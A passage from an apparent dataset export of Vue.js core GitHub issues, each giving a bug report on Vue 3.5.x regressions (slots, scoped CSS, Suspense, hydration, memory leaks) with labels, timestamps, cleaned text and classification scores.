Run `npm install`
Run `vite`

Go to http://localhost:8080

Page displays OK

Change `""vue"": ""3.5.13""` to `""vue"": ""3.5.14""` or later
Run `npm install`
Run `vite`

Go to http://localhost:8080

Page doesn't display, throws:

```
uuFaq.vue:5 Uncaught TypeError: item is not a function
    at uuFaq.vue:5:36
    at Proxy._sfc_render (uuFaq.vue:1:1)
```

### What is expected?

Iterating slots and extracting props from them should work as it did in Vue 3.5.13 and below

### What is actually happening?

It doesn't work when loading the page, getting this:

```
TypeError: item is not a function
    at uuFaq.vue:5:36
    at renderList (runtime-core.esm-bundler.js:2935:18)
    at Proxy._sfc_render (uuFaq.vue:1:1)
```

But changing something in the `App.vue` and letting Vite hot-reload it makes it work.

It never works for built assets though.

### System Info

```shell

```

### Any additional comments?

It might be related to https://github.com/vuejs/core/commit/5d166f3796a03a497435fc079c6a83a4e9c6cf52",":exclamation: p4-important,regression",2025-06-13 00:58:59+00:00,2025-06-18 12:53:49+00:00,3,":exclamation: p4-important,regression",5.4964,slots behave differently from vue breaks code that worked in vue version link to run run go to page displays ok change to or later run run go to page doesn t display throws what is expected iterating slots and extracting props from them should work as it did in vue and below what is actually happening it doesn t work when loading the page getting this but changing something in the and letting vite hot reload it makes it work it never works for built assets though system info any additional comments it might be related to,bug,0.3919
vuejs/core,3139665090,Not possible to assign value to useTemplateRef returned Ref,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-xibnqxg2?file=src%2Fcomponents%2FHelloWorld.vue

### Steps to reproduce

I am currently in the process of refactoring my component library from using the old template ref approach, to using the `useTemplateRef` approach.
While doing this, I stumbled upon the following issue.
With the old approach, it was possible to set the reference to another value, in the new one it is not possible anymore, because the `.value` is readonly.

Please check the attached Stackblitz for further information.
 
* Open reproduction link
* Open console via Browser Dev-Tools
* Check console.log output

```
vue.js?v=546ca277:307 [Vue warn] Set operation on key ""value"" failed: target is readonly. 
RefImpl {dep: Dep, __v_isRef: true, __v_isShallow: true, _rawValue: div#2, _value: div#2}
```

As you can see, setting the ref to a new value was possible before, as the console logs no error/warning and the new value is logged correctly.
But setting the ref to a new value coming from `useTemplateRef` does not work. 

![Image](https://github.com/user-attachments/assets/b4a8dcef-47e9-4056-82f4-cffa2f77d77c)

### What is expected?

possible to set returned reference value from `useTemplateRef` to a new value

### What is actually happening?

**not** possible to set returned reference value from `useTemplateRef` to a new value

### System Info

```shell
System:
    OS: Linux 5.10 Debian GNU/Linux 11 (bullseye) 11 ... [TRUNCATED]",,2025-06-12 10:11:28+00:00,2025-06-12 10:47:13+00:00,2,nan,0.0248,not possible to assign value to usetemplateref returned ref vue version link to i am currently in the process of refactoring my component library from using the old template ref approach to using the approach while doing this i stumbled upon the following issue with the old approach it was possible to set the reference to another value in the new one it is not possible anymore because the is readonly please check the attached stackblitz for further information open open console via browser dev tools check console log output as you can see setting the ref to a new value was possible before as the console logs no error warning and the new value is logged correctly but setting the ref to a new value coming from does not work image what is expected possible to set returned reference value from to a new value what is actually happening not possible to set returned reference value from to a new value system info shell system os linux debian gnu linux bullseye truncated,others,0.9489
vuejs/core,3138962799,rendered dom lose `scroll` prop,"### Vue version

lastest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UU1LAzEQ/StjLqtQu/hxKtuCSkE9qKjgJZeynW5Ts0lIJrWw7H93ktraQ+kpmffePN5jOnHn3HAdUYxEFWqvHEFAim4ijWqd9QQdeFxADwtvWyhYWkgjTW1NIGhDA+PEnxePqLWFL+v1/Ky4kKYqt3ZsxANh6/SMkCeAank16bq83PdVyVNGlXGRYH3Z2jnqsRTMSwHsYrX+e65LllblgZsYCAocZqGa4SpYwz265CZFbVunNPpXR4rDSjGCzCRuxll/njNGPuJgh9dLrL+P4KuwSZgUbx4D+jVKsedo5hukLT39eMEN//ckd4ma1SfIdwxWx5RxK7uPZs6xD3Q57VO+hjLNZ5huCE3YlUpBk7LPein4Qg8nqv/HvRne5j1petH/ApvArKU=

### Steps to reproduce

![Image](https://github.com/user-attachments/assets/168d4933-c7e5-492e-a2ec-f09eac71daa3)

### What is expected?

scroll exist

### What is actually happening?

scroll lost

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-06-12 06:07:26+00:00,2025-06-12 07:15:50+00:00,2,nan,0.0475,rendered dom lose prop vue version lastest link to image what is expected scroll exist what is actually happening scroll lost system info any additional comments no response,others,-0.7351
vuejs/core,3133460244,Detached nodes after v-if component(Memory leaks),"### Vue version

3.5.16

### Link to minimal reproduction

https://github.com/hao-kuai/vue3-memory-leak-vif

### Steps to reproduce

1.  Start the application by running `pnpm dev`.
2.  Open the application in your browser (e.g., `http://localhost:5173`).
3.  Open the browser's Developer Tools and select the ""Memory"" tab.
4.  Click the ""Click me"" button repeatedly. This will mount and unmount a DOM element.
5.  Take a heap snapshot after several clicks.
6.  Click the button several more times.
7.  Take another heap snapshot.
8.  Compare the snapshots. If there is a memory leak, you will see an increase in the number of detached HTMLDivElement objects in the second snapshot.

### What is expected?

no detached objects 

### What is actually happening?

an increase in the number of detached HTMLDivElement objects 

### System Info

```shell
MacOS 15.5
M3 air
Chrome ：137.0.7151.69 (arm64)
```

### Any additional comments?

Although it is similar to [12306](https://github.com/vuejs/core/issues/12306), I did not reproduce the Chrome issue in [demo](https://gist.github.com/yyx990803/e7591380f38bbb8e309de8fd1f4010a4), so I hope you don't close the issue directly.",,2025-06-10 12:45:04+00:00,2025-06-10 14:29:41+00:00,3,nan,0.0727,detached nodes after v if component memory leaks vue version link to start the application by running open the application in your browser e g open the browser s developer tools and select the memory tab click the click me button repeatedly this will mount and unmount a dom element take a heap snapshot after several clicks click the button several more times take another heap snapshot compare the snapshots if there is a memory leak you will see an increase in the number of detached htmldivelement objects in the second snapshot what is expected no detached objects what is actually happening an increase in the number of detached htmldivelement objects system info any additional comments although it is similar to i did not reproduce the chrome issue in demo so i hope you don t close the issue directly,others,0.3272
vuejs/core,3131988856,"关于使用常量object，里面参数为ref, shallowRef的问题","### Vue version

3.4.29

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU8GO0zAQ/RXjS7tSSVQtcCjZSoBWAiSgYhEcMEJRM0mzOLZlO9miKGeOe+VT9of2wF8wttuQsm2l3Z46856f502eW/pCqaipgc5oYpa6VJYYsLWaM1FWSmpLWqIhJx3JtazICKmjHnolK7XpR7ErnNLo+Q4+3SFMtwwmllIYSypTkDN3w3j0GjiX5IvUPHs0OtkSpF2BXqQ6rQwSWyYIiWNye3Pz59e1K3hp7Ix8/TbZICh1e/17A6L67K44/px+x0QSB8/oFgsLleKpBawISVbTedv6+bouibHyXW+5eVzJDPgZowgzOk+8t72EwfjRfvL0gNzgwiHlkKCjJ/HAAp1Qa3CHeVlEl0YK/MJ+e4wukV5y0B+ULXHHjM7CXh2W4pqu3vqe1TX4rfozK1j+2NO/NGvXY3ShwYBugNEes6kuwAb4/OI9rPF/D6KfmiP7CPgRjOS1mzHQXtYiw7EHPD/tGx+2UhSfzPnagjBbU25Qx+w8n1GMntvUIev/xj2NnvhzmBHc4jbYx57IVWqXq51HghnfJNx9OIxuBnkp4J2rxq39qWBGLqzGsTvMIhNeYezJE9KkeGIeRnMqkkPEZTHG/gkKuxPHopuVjf9DSNt6xQ6tuDJc2/rrZR5GC1gSh0P/R6h/tA90r7RU7uEG9wtXjb0tf/fnlNf9HoKvezrzCsfsDQiHPH5vQLvQoMXT6Gk0fUa7v2TevNA=

### Steps to reproduce

查看复现路径

### What is expected?

使用第二种未解构ref，请问是设计如此还是是个bug呢？

### What is actually happening?

解构成统一的数据，如果不能这样写我就只好改了。。想定义一个常量之后只在这个常量里面增加变量。。不然一堆地方到处定义

### System Info

```shell
无
```

### Any additional comments?

_No response_",,2025-06-10 02:57:15+00:00,2025-06-10 03:10:36+00:00,2,nan,0.0093,object ref shallowref vue version link to what is expected ref bug what is actually happening system info any additional comments no response,others,-0.6369
vuejs/core,3130234045,`<slot>` in `<Suspense>` will cause an error,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqdVE2P0zAQ/Ssjc2gqLYnQAoeSrGjRHuAAiN0bQcgkk663qR3ZTrZV1f/O2E7SFpXycYns+fLMe/OyY/OmibsW2YylptCisVBzucxyZk3OwKBtm5tcinWjtIUdlFgJiXOzlcU7RUaJ0sIeKq3WMKE6kzH2Ho3t7XHiLu4ZcueyUJJcS7SHChlEdtvgDIzVQi6nkN3ALpcAogoeyLIMJvPJNJgBNHWm5dl+osjnhz4ien3un55OXebeff4leTEmU2qaBJAIErpYXDc1t0g3gNTN6E90HjzwjN7gbW0J0IZrviZQ+xiKKsb5Z8JQxDEkUQiP3fBTYiIZSienr3po6XhiZ1dEH8FciWX8aJQkdj1sOXNPihr1p8YKoiFnswHQnPG6Vk8fvM3qFq8Ge/GAxeqM/dFsnC1nnzUa1B3mbPRZrmma4L69+4gbOo/OtSrbmqIvOL+gUXXregxhi1aW1PZRnO/2vaeJNube3G4sSjMM5Rr1dPv4nBGHDtrfjX5o9zp+2a/JnlD0m3OkjaCHS1tQiq5nah74CYZf6fFb9Z+FF5cKD0r7W0FrrE70++agULd6hqRJIdFX0t430sDg42VJHu6kA0ExHkufEne8bjFuWvMQTRaToJyxqPstnMnkT1z4spGX6XEh8yAq68x/EOBdaxpaAYTueaW0m9j9OFQVitHwsxVue/Mow9TUivTnbKOrF1uaDBXD9UdrrZLwtqhFsXLBNArVcYinSXCeIeR7h9qtJRFyHb+KX7xm+5/cddJG

### Steps to reproduce

Click Test button in the playground link.

### What is expected?

Component A disappears and component B is displayed.

### What is actually happening?

```
TypeError: Cannot read properties of null (reading 'subTree')
    at move (runtime-dom.esm-browser.js:7867:28)
    at move (runtime-dom.esm-browser.js:7881:9)
    at Object.resolve (runtime-dom.esm-browser.js:9240:11)
    at unmountComponent (runtime-dom.esm-browser.js:8086:24)
    at unmount (runtime-dom.esm-browser.js:7955:7)
    at patch (runtime-dom.esm-browser.js:6776:7)
    at patchBlockChildren (runtime-dom.esm-browser.js:7179:7)
    at processFragmen... [TRUNCATED]","scope: suspense,:hammer: p3-minor-bug",2025-06-09 12:55:08+00:00,2025-08-20 14:11:17+00:00,1,"scope: suspense,:hammer: p3-minor-bug",72.0529,in will cause an error vue version link to click test button in the playground link what is expected component a disappears and component b is displayed what is actually happening typeerror cannot read properties of null reading subtree at move runtime dom esm browser js at move runtime dom esm browser js at object resolve runtime dom esm browser js at unmountcomponent runtime dom esm browser js at unmount runtime dom esm browser js at patch runtime dom esm browser js at patchblockchildren runtime dom esm browser js at processfragmen truncated,bug,-0.4404
vuejs/core,3128221422,Attaches scope CSS to wrong root in Iframe and Pop-up,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v2zAM/SuCTgmQ2tu67ZC5QffRw4ZhG7YCuwgYUpvO1NqSoA8nXeD/vicJTlu0jQ+GSD6Sj9TTnr83phgC8SWvXG2l8cyRD2YllOyNtp7tWW1p7QlANrLW6p4JjgzBD5CPujdTpCijFUtGgFBtULWXWjFtSP2WqtHb2ZzthWKs1sp5tpWKnaXoDBl8gRr5b7QJRvB5gk4UZrH6vOh1UH6G1KLRdehJ+eJKN7fAjg+atnbd01e9bmY0ADQ1frJaQhR+bTfkC3DzMD89rl6VeU/YEAxPvelQDBZj1VXwHl3P607WN2eC380s+CoacVpYVZmROSuSKPNRJsLsvANl5B/oI70qcxDAqrzXli+4d6Dbyk1x7bTCTaYhBa9RV3Zkv5u4Cyf4Mo8fY+uu09svyedtoMXkr/9SffOE/9rtok/wH5Yc2QG3e4jlleXwxa9vtMP5EOx1EzqgjwR/ktNdiBwz7ENQDWjfwyW2n5PYpNpcuosdLsdNQ0WiETkmfBJnXOlzo9/RPS1epzzcK7Y46fbYU7DUPnoEQmUh924DIQMBHV+SQwcI5phaGjmkQ/wqqUzwbDjBSqjD1aOa4CzLIgHMar9PPcaxKiMp+Mpc4oEeYDp/2xGDKAw1kX0qneZvIesTJ//Rkr16YXbvkqLN9Bw7bZcYoMluUI91ssT+DGTjwrGc0+JN8fItH/8DV3lwgw==

### Steps to reproduce

When [mounting](https://vuejs.org/api/application.html#app-mount) a Vue-App to an external document like an iframe or a popup window, all the functionality from JavaScript is working, but the [Style](https://vuejs.org/api/sfc-css-features.html) of a [Single-File Components](https://vuejs.org/guide/scaling-up/sfc.html) is attached to the calling document instead of the document of the mounted element.
```js
const win = open("""", """", ""popup"")
createApp(Comp).mount(win.document.body)
```



### What is expected?

The CSS should be attached to the _rootContainer's_ document of [mount()](https://vuejs.org/api/application.html#app-mount).

### What is actually happening?

The C... [TRUNCATED]",,2025-06-08 10:55:19+00:00,2025-06-10 06:54:51+00:00,1,nan,1.833,attaches scope css to wrong root in iframe and pop up vue version link to when mounting a vue app to an external document like an iframe or a popup window all the functionality from javascript is working but the style of a single file components is attached to the calling document instead of the document of the mounted element what is expected the css should be attached to the rootcontainer s document of mount what is actually happening the c truncated,others,-0.0772
vuejs/core,3126405373,Cannot use nominal/brand types in props,"### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNqlkl1v0zAUhv/KkS8ISMXd1E1IIa1E0SSGBEyscIMRypLTkuHYlu2UVlH+O8d2m04T7IY7+3y85zkfPXtjDN92yHJWuMo2xoMs1WYumHeCgUPfmYVQTWu09dDDF4f2uoYB1la3kPHp0paqzl6PIR/2b3VrRnf6hgqZUEJVWjkPXRKZQ3Z+dpZB6Q6yQhXTBEEl6eOxNbL0GH6+SFLhKXweJF42NXEmMcGCY0qRxfRBGptQH1R03Wz4vdOK2uyFAhCsIq1Gov1kfENQguUQPcFXSql/v482bzucHO3VT6x+/cV+73bBJtiNRaLZomCjz5d2gz65r24/4o7eo7PVdScp+gnnZ3RadoExhS07VRP2g7hIex2n36jNyl3tPCp3bCqAhsghxgtGmwhj/FfrJ9wZv4h5Qg00xdMe//NSTldgrDaOjqDGdaPwJvyKA0faaT6exbB4/uLJ43iHNATo++NpDYT9+BBife4dNZAA7oKBAG737Z2WoYJQuIv4fm8QYkKxmsByQVEreHYck8Wy1kru4VuU+J7Dkhgfpx8GMD/oOG9pPRPIkj1LUD+2aMOuCGrGL/n5RbB593W0XvJXfMaGP6MxOio=

### Steps to reproduce

For some reason, the sfc playground always throws the error unless you're in `MyComp.vue`'s JS tab

![Image](https://github.com/user-attachments/assets/7cb2436d-7b24-4393-8de5-410be65d9161)

Switching between 3.5.14 and 3.5.15 show the type of `userId` prop change from `null` to `Object`

### What is expected?

No type errors

### What is actually happening?

The nominal type is treated as `Object` instead of a string primitive

```
Invalid prop: type check failed for prop ""userId"". Expected Object, got String with value ""100"".
 at <MyCompuser-id=""100"">
 at <Repl>
```

### System Info

```shell

```

### Any additional comments?

I'm aware TypeScript does not actually have nominal types and this is just a hack to fake it but I think this is a common enough usage in large c... [TRUNCATED]","scope: compiler,scope: sfc,:hammer: p3-minor-bug,regression",2025-06-07 04:00:56+00:00,2025-06-18 12:54:10+00:00,0,"scope: compiler,scope: sfc,:hammer: p3-minor-bug,regression",11.3703,cannot use nominal brand types in props vue version link to for some reason the sfc playground always throws the error unless you re in s js tab image switching between and show the type of prop change from to what is expected no type errors what is actually happening the nominal type is treated as instead of a string primitive system info any additional comments i m aware typescript does not actually have nominal types and this is just a hack to fake it but i think this is a common enough usage in large c truncated,bug,-0.6542
vuejs/core,3124741234,"Inconsistent excess property checking: ref<T>() errors, computed<T>() doesn't","### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqNkk1PwzAMhv+KlQubNG0HOO2jEqAdxmGgsWMupfW6jjaJEncrqvrfcVIoFQLELXltv34cpxG3xkzPFYq5WLrE5obAIVUGilhlKynISRFJlZdGW4IGEl2aijCdgMUDtHCwugQp2EGKhVRSzWawUYlWLneEigDrBJ0DY7VBS2+QHDF5zVU29wbLfTQaA1qrrZv03p2aanTqimQwI7jkdNxxy1WoayCegyPLRtBGo0Yq8IoURywKLcXECy9euGhbpEFoxwtgurXvNnS9/2jL1j3BN3/GWUXw3zZdn63uBpNqOetelt+RL4SlKWJCvgE0TT9Y2w6Ensmry9mgRkx4Jwx/yLPpyWnFiwtYUnj4vED7aCjn4aSYQ4j4WMy4l4egka0wcIcav40f9JOrvSbFk0WH9szb7WMU2wypC6+ft1jzuQ+WOq0Kzv4juEOni8ozdml3lUoZe5AXaDfhy/EC9m5d81dyn0N5UJ/Zhvzw9/xz/Tb6F+719CbU8Y5E+w7Z9P3w

### Steps to reproduce

```typescript
import { computed, ref } from ""vue"";

// Inconsistent excess property checking: ref<T>() errors, computed<T>() doesn't
const withRef = ref<{ a: string }>({
  a: ""hello"",
  b: ""world"", // Error
});
const withComputed = computed<{ a: string }>(() => ({
  a: ""hello"",
  b: ""world"", // No error
}));
```

### What is expected?

TypeScript should raise `Object literal may only specify known properties, and 'b' does not exist in type '{ a: string; }'. ts(2353)` for `withComputed`, as it does for `withRef`.

### What is actually happening?

TypeScript does not raise any error for `withComputed`, though it definitely should.

If, for some technical reason, type checking cannot be enforced with `computed` in the same way it is with `ref`, this behavior should be documented.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: types,upstream: typescript",2025-06-06 13:09:10+00:00,2025-06-10 01:06:31+00:00,2,"scope: types,upstream: typescript",3.4982,inconsistent excess property checking ref errors computed doesn t vue version link to what is expected typescript should raise for as it does for what is actually happening typescript does not raise any error for though it definitely should if for some technical reason type checking cannot be enforced with in the same way it is with this behavior should be documented system info any additional comments no response,bug,0.1481
vuejs/core,3113684138,$props overrides extended boolean props,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU9tu00AQ/ZVhhViQgqOqwENwUlFUCXiACpB4sYRce5xuWe+udtchkeV/Z2ZDUrdNL0/2XM5czpztxQfnslWHYibyUHnlIgSMnVsURrXO+ggfbet++dI59NB424LMpiMfg2Vh8ukWTTgyIrZOlxHJAsjHFabkyqejuJiIGCprGrXMroI1NEjPqEJUBFMa/TcXlTWhEDNIEY6VWtu/X5Iv+g4nO391idWfA/6rsGZfIc49BvQrLMQ+Fku/xLgNn/34imv63wdbW3eash8IfsdgdcczbtNOO1PT2KO8NO3nRKcyy5/hbB3RhN1SPChnDim/EEQoM3bf6tfjHmdvEq4wA7HImEOXBF2a5ZxwVOb6qnHjEPp03HNvXYBhf1wOBfmeD0l3CZHSoooaYQ6S8+UELqzVZPLkBJxDjY0ymAqla6e/xctXVOQhYVweLT7hZgJ9nxoMwzM45crR1uUGVKCt+9TqBCT3kjAD2ZQ6oByGfErwu2K6Jc2nscGgG+JOqk4U/M94MlU1btvR3ZiwkSnvZQpe3ASezCBET1IZHufQLfp+BGVe+PGSUnZPD1avL5SpaennjrsV4vAr5F2yGIgxXKedlYnom7LC0e5Jhula+yFpQEiKIA9/sDTkYkn+XqFnmVPJ4+xtdvRODP8ACEOEBA==

### Steps to reproduce

I create `Comp` with props of type `CompProps`.
```
// types.ts
export interface CompProps {
  title?: string;
  bool?: boolean;
}
```

```
// Comp.vue
<script setup lang=""ts"">
import type { CompProps } from './types';

const { title = 'Comp', bool = true } = defineProps<CompProps>();
</script>

<template>
  <h1>Hey, {{title}}! Bool today is: {{bool ? 'true' : 'false'}}</h1>
</template>
```

I create `CompWrapper` with props of type `CompProps & { description?: string }` and use `$props` in its template to pass props through it.
```
// CompWrapper.vue
<script setup lang=""ts"">
import Comp from './Comp.vue';

import { CompProps } from './types';

const { description = 'description'} = defineProps<CompProps & { descr... [TRUNCATED]",,2025-06-03 12:03:07+00:00,2025-06-03 13:54:06+00:00,2,nan,0.0771,props overrides extended boolean props vue version link to i create with props of type i create with props of type and use in its template to pass props through it compwrapper vue import comp from comp vue import compprops from types const description description defineprops compprops descr truncated,others,0.4939
vuejs/core,3112502375,"A component which is a memory leak will cause all components of the routing page to fail to be destroyed normally. If it is in a large component, it will cause serious performance problems‼️","### Vue version

3.5.14

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-ufk2envs?file=src%2Fmain.vue

### Steps to reproduce

1. Click the ""EmptyPage"" button to enter the EmptyPage page, open the browser Memory panel and Performance monitoring panel Performance monitor, record memory snapshots and record DOM Nodes (Memory: 18.1MB, DOM Nodes: 53)
2. Click the ""TestElSelect"" button, enter the TestElSelect page, trigger the drop-down box of the Select component (you can trigger one or more, feel free), click the ""EmptyPage"" button, go back to the EmptyPage page, record a memory snapshot and record DOM Nodes (Memory: 20.9MB, DOM Nodes: 325)
3. Repeat the above operation several times and find that the memory and DOM Nodes have been increasing.
The above steps can prove that there is a memory leak in the el-select component ‼️
If a route page which useing a el-select component, it will cause all of the component from this page will not destroy. More and more DOM Node will stay in the memory‼️
4. Click the ""TestTable"" button to enter the TestTable page(which including el-select and el-table component), trigger the drop-down box of the Select component, open the browser Memory panel and Performance monitoring panel Performance monitor, record memory snapshots and record DOM Nodes.
5. Return to EmptyPage page, record memory snapshots again. You will find that the DOM Node of the el-table is not destroyed, and the memory is getting larger and larger.

![Imag... [TRUNCATED]",,2025-06-03 05:46:56+00:00,2025-06-03 08:55:20+00:00,4,nan,0.1308,a component which is a memory leak will cause all components of the routing page to fail to be destroyed normally if it is in a large component it will cause serious performance problems vue version link to click the emptypage button to enter the emptypage page open the browser memory panel and performance monitoring panel performance monitor record memory snapshots and record dom nodes memory mb dom nodes click the testelselect button enter the testelselect page trigger the drop down box of the select component you can trigger one or more feel free click the emptypage button go back to the emptypage page record a memory snapshot and record dom nodes memory mb dom nodes repeat the above operation several times and find that the memory and dom nodes have been increasing the above steps can prove that there is a memory leak in the el select component if a route page which useing a el select component it will cause all of the component from this page will not destroy more and more dom node will stay in the memory click the testtable button to enter the testtable page which including el select and el table component trigger the drop down box of the select component open the browser memory panel and performance monitoring panel performance monitor record memory snapshots and record dom nodes return to emptypage page record memory snapshots again you will find that the dom node of the el table is not destroyed and the memory is getting larger and larger imag truncated,bug,-0.9181
vuejs/core,3109858532,Assigned model value is not available in line below,"### Vue version

3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVNtum0AQ/ZURimRHcaDOpQ8OsZpEeWiltlFatS9INYHB3mTZRbuL4wjx750FjMFxmlQKL8DMmbNzOTuFc5Fl7jJHZ+L4OlIsM6DR5BnwUMzPA8fowJkGAuhhaSaVgQIUJlBComQKAwodnPX8V5LeAoVpEK7XWuxBgzOLrSMiKTSdJ1O8xWQM55bZF3l6h2o63G9oe6CjHSDfqxOnNH2DacZDg03K/iYZwwxHKuh6FRIEYTyCR2YWsDxMZYw8cNZfE3vUV/v1K+S5DVknSBjvdeKjhpjSpIAX2Y7exnY8AiEhUzJr8L7XqdEZ0YCoQQmbu/daCppiYSkDJyJGxlF9zwyjBgbOBCqP9YWcy8cvlc2oHEdre7TA6GGH/V6vrC1wbhRqVEsMnNZnQjVHU7uvf3zDFX23Tupnzgn9D+ctaslzm2MNu8xFTGl3cFW2nyttMTH/qa9XBoVeF2UTtciywgcOKcw286XSN+keuydVXCBK6mJPou9wF2rR2rFpUmyMCRN4Y//8oprwBLRRVE650TlHA4zA4w/PhL/RT0tWmdprMOijBiMoCBbm3EyIr+xfJS6jsGXbvkw1MMlFZJsHi9CO44qz6GG4v25j1YCDg4Z0TSw5ulzOh7PhXlEV7laVlvtwiYlUCEt75AT2in6ybmUvZ+skX+e70JrNBXWvpiRG1g/fdQDVytr67ON58HuBAnJtmWa7YmawQEqcGUjDJ5oY45w6srQWDZLH9fnum/NODKr/acNmUm0Nu4KaCJJyZxXuWIYxW0LEQ61Jy1Go4lbNlXdxMi2Kev9AWfoe/Xe8d7kxpIdPkZUCxXeEQTTVu2qW79XIbmymcPrCSOjELYHbo23AVnxPtBTV+e9H+B6Vub0n6VebJyqMlmWGcQN1bRO6ok5pOzBhr0y26owhC+OYNDKB0575TqoYFaGzFRXBWQxzFT49AxyqMGa57kbXk7IJ1Tv8zxKV3Wi0eI7dU3f80Sn/Ai6dfKQ=

### Steps to reproduce

Make two components, parent & child. In the child component, use defineModel to define `someModelValue`. In the parent component use the child component and define a ref (called `someRef`). The ref is used in the parent on the v-model directive on the child component `v-mode:someModelValue=""someRef""`. In a function in the child component, update `modelValue.value` and, in the next line, r... [TRUNCATED]",,2025-06-02 11:52:23+00:00,2025-06-02 13:22:13+00:00,2,nan,0.0624,assigned model value is not available in line below vue version link to make two components parent child in the child component use definemodel to define in the parent component use the child component and define a ref called the ref is used in the parent on the v model directive on the child component in a function in the child component update and in the next line r truncated,others,0.34
vuejs/core,3096827640,Vue 3.5.15 changed CSS semantics when using CSS nesting and the `>` operator,"### Vue version

3.5.15

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctOwzAQ/BXLR1RSodJLCZEA9VAOgICjJZQ62zSt47X8CEVV/521Q0oPVX2w1jOj2dn1nj8Yk3UB+IznHlqjSg+F0IzlVdMxqUrn7gVfIQpOsPDCR6JYMLfGoCq2BLZUAfJxRKNgqPLxiR09nf9RwJxEA1USZmTK9r1nwa6GUvhlKbe1xaCra4kK7Sx1uOvpQ8xGVz5OhgUfcU+metXU2cahpjnIiDHBJbamUWBfjW9QO8FnsQWjI3ipFH4/J8zbAKMBl2uQ2zP4xu0iJvibBQe2A8GPnC9tDb6n5x8vsKP6SLZYBUXqC+Q7OFQhZuxljzQ4xT7RpbSL1qD1ja4/3XznQbthqBg0LSXpBafPfLow+n/cSXb7t8wDbfGrAxs9aYGTbJrdTPnhF3n+tDs=

### Steps to reproduce

In the reproduction, toggle between 3.5.14 and 3.5.15 to see the different behavior.

### What is expected?

The div should have a blue background

### What is actually happening?

The div doesn't have a background applied.

### System Info

```shell

```

### Any additional comments?

When the following CSS is written:

```html
<style scoped>
	.class {
		> * {
			background-color: blue;
		}
  }
</style>
```

It used to be compiled to the following, in Vue 3.5.14:

```css
.class {
> *[data-v-7ba5bd90] {
			background-color: blue;
}
}
```

In Vue 3.5.15, it is compiled to this instead:

```css
.class {
[data-v-7ba5bd90]> [data-v-7ba5bd90] {
			background-color: blue;
}
}
```

In practice, this results in two problems:
- It means this generated CSS expects one or more elements between the `.class` and `div` (`.class
[data-v-7ba5bd90] > [data-v-7ba5bd90]` instead of `.class > [data-v-7ba5bd90]`).
- It causes a regression in specificity. Before, it had a specificity of `0-... [TRUNCATED]",,2025-05-28 10:15:55+00:00,2025-05-28 12:42:08+00:00,2,nan,0.1015,vue changed css semantics when using css nesting and the operator vue version link to in the reproduction toggle between and to see the different behavior what is expected the div should have a blue background what is actually happening the div doesn t have a background applied system info any additional comments when the following css is written it used to be compiled to the following in vue in vue it is compiled to this instead in practice this results in two problems it means this generated css expects one or more elements between the and class data v ba bd data v ba bd class data v ba bd it causes a regression in specificity before it had a specificity of truncated,others,-0.4019
vuejs/core,3096489548,"With Vue 3.5.15, bootstrap5 and sass, grid system does not work properly","### Vue version

3.5.15

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-r6jsnytm?file=src%2Fmain.js,src%2Fcomponents%2FHelloWorld.vue

### Steps to reproduce

<div class=""row"">
  <div class=""col-4"">COL-4</div>
  <div class=""col-8"">COL-8</div>
</div>

### What is expected?

Expected to see a single row with 2 columns: the first one half the size of the second one.

### What is actually happening?

Seeing 2 rows, one for each column, bot full size.

### System Info

```shell
System:
    OS: Linux 6.14 Arch Linux
    CPU: (20) x64 Intel(R) Core(TM) i9-10900K CPU @ 3.70GHz
    Memory: 20.87 GB / 31.09 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 22.16.0 - /var/lib/snapd/snap/bin/node
    Yarn: 1.22.22 - /var/lib/snapd/snap/bin/yarn
    npm: 11.4.1 - /usr/local/bin/npm
  Browsers:
    Chromium: 136.0.7103.113
  npmPackages:
    vue: ^3.5.15 => 3.5.15
```

### Any additional comments?

With Vue version 3.5.14 everything is OK","scope: sfc,has workaround,:hammer: p3-minor-bug",2025-05-28 08:21:22+00:00,2025-05-29 00:22:24+00:00,3,"scope: sfc,has workaround,:hammer: p3-minor-bug",0.6674,with vue bootstrap and sass grid system does not work properly vue version link to col col what is expected expected to see a single row with columns the first one half the size of the second one what is actually happening seeing rows one for each column bot full size system info any additional comments with vue version everything is ok,bug,0.296
vuejs/core,3095299179,SSR hydration fails with `<Transition appear>` and empty content,"### Vue version

3.5.15 (older versions seem to have the same problem too)

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9kD1vwyAQhv8Kujmyh3aKrEptlaEd2qrNyIKcq0OCAXFHYinyfw/gfA1RNvQ+z8HLHeDV+2oXEebQMPbeKMYXaYVolkFZ0qydFcp7VKHECZBxLOpJqq9WCpr65gqYAVPr7L/uqg05m1445BkJreu9Nhi+fZ4jCXNRSGbKGLf/LBmHiLNz3q6x3d7JNzTkTMJPQMKwQwkXxip0yBNe/H3hkM4X2LtVNMl+AH+RnIm546S9RbtKtW+80vaj9y6wtt2SFgNjWsfpU7loNsfiS0hrfn/w9Wvdp+q5zEk7wngEt2yIww==

### Steps to reproduce

Just open the Playground.

### What is expected?

No error, successful hydration.

### What is actually happening?

An error is thrown.

> Failed to execute 'replaceChild' on 'Node': parameter 1 is not of type 'Node'.

### Any additional comments?

I confirmed this also fails in Nuxt, not just in the Playground.

Without the `appear` prop there's still a hydration problem, but not the explosive error.

